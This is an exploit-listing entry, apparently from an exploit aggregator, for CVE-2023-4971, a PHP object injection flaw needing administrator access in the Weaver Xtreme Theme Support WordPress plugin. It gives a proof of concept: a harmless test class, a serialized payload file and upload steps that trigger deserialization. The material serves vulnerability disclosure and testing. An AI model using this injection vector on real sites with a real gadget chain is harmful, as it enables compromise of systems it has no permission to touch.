Exploit for Weaver Xtreme Theme Support < 6.3.1 - Admin+ PHP Object Injection CVE-2023-4971

## https://sploitus.com/exploit?id=WPEX-ID:421194E1-6C3F-4972-8F3C-DE1B9D2BCB13
To simulate a gadget chain, put the following code in a plugin:

class Test {
  public function __wakeup() : void {
    die("Arbitrary deserialization");
  }
}

Create a file named "poc.txt" with the following content: O:4:"Test":0:{};

Upload the file via the "Choose File" feature in Weaver Xtreme Theme Support > Filters

Then choose Restore Filter Options.

The view the response of the request made, which will have the "Arbitrary deserialization" message.